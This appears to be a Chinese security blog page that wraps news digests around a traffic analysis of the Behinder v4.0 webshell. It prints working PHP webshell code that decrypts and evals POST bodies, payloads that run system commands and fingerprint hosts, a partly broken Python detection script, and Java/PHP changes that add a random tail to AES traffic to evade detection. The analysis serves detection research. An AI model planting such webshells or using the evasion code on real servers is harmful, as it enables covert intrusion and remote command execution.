https://securityaffairs.com/140892/malware/free-bianlian-ransomware-decryptor.html网络安全公司 Avast 发布了BianLian勒索软件的免费解密器,允许恶意软件的受害者恢复锁定的文件。BianLian 勒索软件出现于 2022 年 8 月,该恶意软件用于攻击各行各业的组织,包括制造、媒体和娱乐以及医疗保健。
5、研究人员发现了一个从 CIA 的 Hive 恶意软件中借用代码的后门
https://securityaffairs.com/140878/malware/cia-hive-malware-detected.html奇虎 Netlab 360 的研究人员报告说,身份不明的威胁行为者使用基于美国中央情报局的 Project Hive恶意软件套件的新后门。Hive于2017年4月被维基解密披露,是为各种 CIA 恶意软件提供了一个隐蔽的通信平台,可以将泄露的信息发送到 CIA 服务器并接收来自 CIA 操作员的新指令。
6、Meta起诉抓取服务提供商Voyager Labs并关闭了6万个账户
https://www.govinfosecurity.com/meta-sues-scraping-for-hire-provider-closes-60000-accounts-a-20932Meta在加利福尼亚州的一家联邦法院起诉了旅行者实验室Voyager Labs,后者是一家数据搜集和监控服务公司,据称于2020年从Facebook收集数据。Meta称,Voyager Labs在用户登录Facebook时窃取了用户的可访问数据,包括用户的个人资料信息、帖子、好友列表、照片和评论。Meta在一份声明中说:“我们禁用了Voyager的账户,提起诉讼来执行我们的条款和政策,并要求法院禁止V
7、工业勒索来袭,GhostSec黑客组织宣称首次加密了RTU设备
https://www.secrss.com/articles/51063匿名者组织旗下的GhostSec黑客组织声称它对RTU(远程终端单元)进行了“有史以来第一次”勒索软件攻击,RTU是一种通常部署在工业控制系统 (ICS) 环境中的小型设备。
8、工业和信息化部等十六部门关于促进数据安全产业发展的指导意见
https://www.freebuf.com/news/355323.html数据安全产业是为保障数据持续处于有效保护、合法利用、有序流动状态提供技术、产品和服务的新兴业态。为贯彻落实《中华人民共和国数据安全法》,推动数据安全产业高质量发展,提高各行业各领域数据安全保障能力,加速数据要素市场培育和价值释放,夯实数字中国建设和数字经济发展基础,工业和信息化部、国家网信办等16部门近日联合印发《关于促进数据安全产业发展的指导意见》(以下简称《指导意见》)。
9、Chromium 开始支持使用 Rust 语言
https://security.googleblog.com/2023/01/supporting-use-of-rust-in-chromium.htmlGoogle 安全博客宣布,Chromium 项目开始支持使用 Rust 语言。Rust 是一种高性能、内存安全语言,而软件项目发现的大部分漏洞都属于内存安全 bug。
10、NortonLifeLock 警告称黑客入侵了 Password Manager 帐户
https://www.bleepingcomputer.com/news/security/nortonlifelock-warns-that-hackers-breached-password-manager-accounts/Gen Digital(前身为赛门铁克公司和诺顿LifeLock)正在向客户发送数据泄露通知,告知他们黑客已在凭据填充攻击中成功侵入 Norton Password Manager 帐户。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
冰蝎V4.0流量分析到攻防检测
0x01 前言
最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。
0x02 环境搭建
这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource
拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。
0x03 冰蝎的使用与流量分析
冰蝎的使用
我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。
这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)
我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
v4.0 的代码
<?php
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。
v3.0 的代码
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。
冰蝎流量分析
看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
第一阶段-密钥协商
1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;
2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过 AES 加密后返回给攻击者。
但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。
我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。
第一段代码,经过 xor_base64 的解密,得到如下代码
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start();
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl
$content=base64_decode($content);
main($content);
我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)
接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下
{
"status":"c3VjY2Vzcw==",
"msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0M
}
经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。
继续分析下一个包,代码如下,这里就进行了命令执行
error_reporting(0);
function main($whatever)
{
$result = array();
ob_start();
phpinfo();
$info = ob_get_contents();
ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
for($i=65;$i<=90;$i++) {
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
} else {
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
$localIp=gethostbyname(gethostname());
if ($localIp!=$_SERVER['SERVER_ADDR']) {
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
}
$extraIps=getInnerIP();
foreach($extraIps as $ip) {
if (strpos($localIp,$ip)===false) {
$localIp=$localIp." ".$ip;
}
}
$basicInfoObj=array(
"basicInfo"=>base64_encode($info),
"driveList"=>base64_encode($driveList),
"currentPath"=>base64_encode($currentPath),
"osInfo"=>base64_encode($osInfo),
"arch"=>base64_encode($arch),
"localIp"=>base64_encode($localIp));
//echo json_encode($result);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result));
}
function getInnerIP()
{
$result = array();
if (is_callable("exec"))
{
$result = array();
exec('arp -a',$sa);
foreach($sa as $s)
{
if (strpos($s,'---')!==false) {
$parts=explode(' ',$s);
$ip=$parts[1];
array_push($result,$ip);
}
//var_dump(explode(' ',$s));
// array_push($result,explode(' ',$s)[1]);
}
}
return $result;
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLc
$whatever=base64_decode($whatever);
main($whatever);
这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。
把相应包解密出来,内容如下
{
"status":"c3VjY2Vzcw==",
"msg":"xxx略,篇幅太长"
}
把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。
至于后面的命令执行部分,是比较好分析的
把流量包提取出来,进行解密
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
$cmd=base64_decode($cmd);
$path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
$path=base64_decode($path);
main($cmd,$path);
$cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami
$path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/
对应回显是
{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}
一些疑问和改进点
简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点
1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
2、针对 aes,xor_base64 进行加密的防御型脚本检测。
3、冰蝎的改写,是否可以采用新型加密方式。
0x04 冰蝎传输与攻防
冰蝎传输与连马&命令执行
一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
首先看一下冰蝎Payload流转的流程图:
可以分为这五个流程
1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
2、服务端收到 Payload 密文后,利用解密算法进行解密;
3、服务端执行解密后的 Payload,并获取执行结果;
这三步的基础是 shell.php,通过 post 请求传 body
<?php
@error_reporting(0);
function decrypt($data)
{
$key="25f9e794323b4538";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php
在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
@session_start(); //初始化session,避免connect之后直接background,后续get result无法获取cookie
echo encrypt(json_encode($result));
}
function encrypt($data)
{
$key="25f9e794323b4538";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl
$content=base64_decode($content);
main($content);
在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。
接着
4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
响应内容略,在上文中已经提到过。
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。
如下是一个最简单的 php 版本的传输协议:
传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)
针对冰蝎 xor_base64 的检测脚本编写
内容是基于 LiRiu 师傅的文章写的
我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。
因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包
针对一些 HTTP 头的检测
HTTP 请求头
它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。
Content-Length 较大
Content-Length: 8244
可以作为辅助特征进行检测。
冰蝎通讯默认使用长连接
造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。
Connection: Keep-Alive
端口检测
冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。
针对恶意脚本内容的检测
冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头
@error_reporting(0);
function main
所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下
from base64 import b64decode
phrases = [
"assert|eval(base64_decode('".encode(),
b'<?\n@error_reporting(0);\n\nfunctio',
b'<?\nfunction main($action, $remot',
b'<?\n@error_reporting(0);\nset_time',
b'\nerror_reporting(0);\n\nfunction m',
b'<?\n@error_reporting(0);\n\n\nfuncti',
b'<?\nerror_reporting(0);\nfunction ',
b'@error_reporting(0);\nfunction ma',
b'<?php\n\n$taskResult = array();\n$p',
b"<?\nerror_reporting(0);\nheader('C",
b'@error_reporting(0);\n\nfunction g',
b'<?\n@error_reporting(0);\n@set_tim',
]
def xor(l0, l1):
ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
return "".join(ret)
def check(cipher):
cipher = b64decode(cipher)
for phrase in phrases:
p0 = phrase[0:16]
p1 = phrase[16:]
c0 = cipher[0:16]
c1 = cipher[16:16+len(p1)]
k0 = xor(p0, c0)
k1 = xor(p1, c1)
if k1 in k0:
return k0
return None
cipher = "..."
HeaderData = "..."
key = check(cipher)
if key:
print("[+]", cipher[:32], "is XOR Behinder Request!")
print("[+] The Key of Behinder is ", key)
else:
print("[-]", cipher[:32], "not Behinder Request..")
接着加上辅助判断
def auxiliaryPoints(HeaderData):
# 辅助判断的函数
evilPoint = 0
list = []
LightBlacklist = [
b'Accept: application/json, text/javascript, */*; q=0.01',
b'Accept-Encoding: identity',
b'Connection: Keep-Alive',
]
for temp in HeaderData:
list.append(temp)
lenData = 0
while lenData <= HeaderData.length():
if(list[lenData].contains(LightBlacklist)):
evilPoint = evilPoint + 10
return evilPoint
LiRiu 师傅的可以,但是我自己的包失败了。。
冰蝎马的改写与绕过 tips
冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。
加密算法
本地默认的 aes 传输协议加密算法如下:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}
服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组
修改后本地:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
//增加魔法尾巴
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
java.util.Random random=new java.util.Random();
byte[] buf=new byte[magicNum];
for (int i=0;i<buf.length;i++)
{
buf[i]=(byte)random.nextInt(256);
}
java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
output.write(encrypted);
output.write(buf);
return output.toByteArray();
}
远程
由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:
function Encrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度
for($i=0;$i<$magicNum;$i++) {
$encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
解密算法
在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
return c.doFinal(decodebs);
}
远程
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
从理论上来说,这一种方式也可以绕过 xor_base64 的检测
0x05 小结
对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。
而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。
网络安全日报 2023年01月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、互联网上暴露的大多数 Cacti 未针对被利用的漏洞进行修补
https://www.securityweek.com/most-cacti-installations-unpatched-against-exploited-vulnerability 大多数暴露在 Internet 上的 Cacti 安装都没有针对在攻击中被利用的严重命令注入漏洞进行修补。Cacti 是一种基于 Web 的开源网络监控和绘图工具,提供操作监控和故障管理框架,是数据记录实用程序 RRDtool 的前端应用程序。2022 年 12 月初,该工具的维护人员发布了 CVE-2022-46169 的补丁,这是一个严重(CVSS 评分 9.8)命令注入漏洞,如果使用特定数据源,可
2、CWP面板漏洞的利用在 PoC 发布后开始出现
https://www.securityweek.com/exploitation-control-web-panel-vulnerability-starts-after-poc-publication 在 1 月初发布概念验证 (PoC) 代码后,安全研究人员正在观察针对关键控制 Web 面板 (CWP) 漏洞的利用尝试。CWP 的前身是 CentOS Web 面板,是一个流行的免费网络托管面板,适用于基于企业的 Linux 系统,为服务器和客户端的管理和安全提供支持。跟踪为 CVE-2022-44877(CVSS 评分为 9.8),利用该漏洞允许未经身份验证的攻击者在受影响的系统上实现
3、Juniper Networks在2023年第一轮安全公告发布了 200 多个漏洞的补丁
https://www.securityweek.com/juniper-networks-kicks-2023-patches-over-200-vulnerabilities Juniper Networks 发布的 2023 年第一轮安全公告涵盖了该网络巨头产品中已修复的数百个漏洞。该公司本周发布的 32 个 Juniper Networks 安全公告涵盖了 230 多个漏洞,其中大约 200 个影响第三方组件。三个公告的总体严重性评级为严重,它们都描述了影响第三方组件的漏洞。20 条公告的评级为“高严重性”,9 条公告的评级为“中等严重性”。
4、Fortinet 表示最近修补的漏洞被用来入侵政府网络
